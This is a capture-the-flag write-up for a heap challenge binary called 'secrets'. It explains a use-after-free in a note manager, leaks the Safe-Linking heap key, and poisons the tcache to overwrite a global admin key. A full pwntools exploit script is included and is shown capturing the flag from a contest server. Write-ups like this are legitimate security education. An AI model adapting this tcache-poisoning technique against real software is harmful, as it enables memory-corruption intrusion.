secrets
- Category
-
Pwn - Files
- secrets libc.so.6 ld-linux-x86-64.so.2
- Description
- Just a simple note manager. Surely nothing could go wrong...
Security check on the binary:
❯ checksec secrets Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'./' Stripped: NoThe binary has No PIE, which simplifies things by giving us fixed addresses for global variables like notes and admin_key. However, it uses a modern Glibc with Tcache Safe-Linking enabled.
Program Analysis
In this challenge, we were given a binary named secrets. Let’s try to examine the decompiled code.
main
int main(void) { int choice; _init_streams();
// Initializing admin_key with "SUPER_SECRET" strcpy(admin_key, "SUPER_SECRET");
while (1) { menu(); if (scanf("%d", &choice) != 1) break; switch (choice) { case 1: alloc_note(); break; case 2: free_note(); break; case 3: edit_note(); break; case 4: read_note(); break; case 5: check_admin(); break; default: exit(0); } } return 0;}The main() function initializes the global admin_key with the string "SUPER_SECRET" and then enters a menu loop. The program allows us to allocate, free, edit, and read notes, as well as perform a check on the administrative key.
alloc_note
void alloc_note(void) { int idx; printf("Index (0-9): "); if (scanf("%d", &idx) == 1 && idx >= 0 && idx < 10) { void *pvVar3 = malloc(0x30); notes[idx] = pvVar3; if (notes[idx] != NULL) { printf("Enter data: "); read(0, notes[idx], 0x30); puts("[+] Allocated."); } }}The alloc_note() function allocates a 0x30 byte chunk on the heap using malloc() and stores the pointer in the global notes array. It then reads up to 0x30 bytes of data into this chunk.
free_note
void free_note(void) { int idx; printf("Index (0-9): "); if (scanf("%d", &idx) == 1 && idx >= 0 && idx < 10) { free(notes[idx]); puts("[+] Freed."); }}The free_note() function finds the note at the specified index and calls free() on it. Critically, it fails to clear the pointer in the notes array after freeing the memory, creating a classic Use-After-Free (UAF) vulnerability.
edit_note
void edit_note(void) { int idx; printf("Index (0-9): "); if (scanf("%d", &idx) == 1 && idx >= 0 && idx < 10) { printf("New data: "); read(0, notes[idx], 0x30); puts("[+] Edited."); }}Because of the UAF bug in free_note(), we can call edit_note() (and read_note()) on a freed chunk. This allows us to overwrite the metadata of the freed chunk, specifically the next pointer in the tcache bin.
check_admin
void check_admin(void) { if (strcmp(admin_key, "HACKED") == 0) { char *flag = getenv("FLAG_VAL"); if (flag == NULL) { puts("CTF{TCACHE_SUCCESS}"); } else { puts(flag); } exit(0); } puts("[-] Invalid admin key.");}Our goal is to reach the flag in the check_admin() function by making admin_key equal to "HACKED". Since admin_key is a fixed global variable and we have a UAF, we can use Tcache Poisoning to obtain a chunk at the address of admin_key.
Now that we know the bug, let’s move to the exploitation part.
Exploitation
Since we are on a modern Glibc (2.32+), we must contend with Safe-Linking.
1. Bypassing Safe-Linking
In modern Glibc, the next pointer of a freed tcache chunk is mangled as:
L = (P >> 12) ^ target
Where P is the address of the pointer itself.
By reading a freed chunk (UAF), we can leak this mangled value. If it’s the only chunk in the tcache, its target is NULL, so the leaked value is exactly P >> 12. We call this the Heap Key.
2. Tcache Poisoning
- Leak: Allocate and free a note. Read it to get the
heap_key. - Poison: Allocate two more notes and free them. Use the UAF to
editthe head of the tcache. Set thenextpointer toheap_key ^ &admin_key. - Overwrite: Allocate twice. The second allocation will land on
admin_key. Write"HACKED"there.
Exploit Script
from pwn import *
def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw)
gdbscript = '''init-pwndbgset follow-fork-mode parentset follow-exec-mode samecontinue'''.format(**locals())
exe = './secrets'elf = context.binary = ELF(exe, checksec=False)context.terminal = ['tmux', 'splitw', '-h']context.log_level = 'info'
def logleak(name, val): log.success(name+' = %#x' % val)def sa(delim,data): return io.sendafter(delim,data)def sla(delim,line): return io.sendlineafter(delim,line)def sl(line): return io.sendline(line)def mangle(heap_base, ptr): return (heap_base >> 12) ^ ptr
def alloc(idx, data): sla(b"> ", b"1") sla(b": ", str(idx).encode()) sa(b"data: ", data)
def free(idx): sla(b"> ", b"2") sla(b": ", str(idx).encode())
def edit(idx, data): sla(b"> ", b"3") sla(b": ", str(idx).encode()) sa(b"data: ", data)
def read_note(idx): sla(b"> ", b"4") sla(b": ", str(idx).encode()) return io.read(0x30)
def check_admin(): sla(b"> ", b"5")io = start()
# 1. Leak heap key (safe-linking mask)alloc(0, b"AAAA")free(0)leak = read_note(0)heap_base = u64(leak[:8]) << 12logleak('Heap base', heap_base)
# 2. Tcache poisoningalloc(1, b"BBBB")alloc(2, b"CCCC")free(2)free(1)
# Target: admin_keytarget = elf.sym["admin_key"]mangled = mangle(heap_base, target)logleak('Mangled target:', mangled)
edit(1, p64(mangled))
# 3. Arbitrary writealloc(3, b"junk")alloc(4, b"HACKED\x00")
# 4. Get flagcheck_admin()
io.interactive()Running the exploit against the remote server:
$ python3 xploit.py REMOTE ctf.mf.grsu.by 9072[+] Opening connection to ctf.mf.grsu.by on port 9072: Done[+] Heap base = 0x3d092000[+] Mangled target: = 0x439052[*] Switching to interactive modegrodno{4DM1n_N3_Z48YL_7C4Ch3_p0150N3D}Flag: grodno{4DM1n_N3_Z48YL_7C4Ch3_p0150N3D}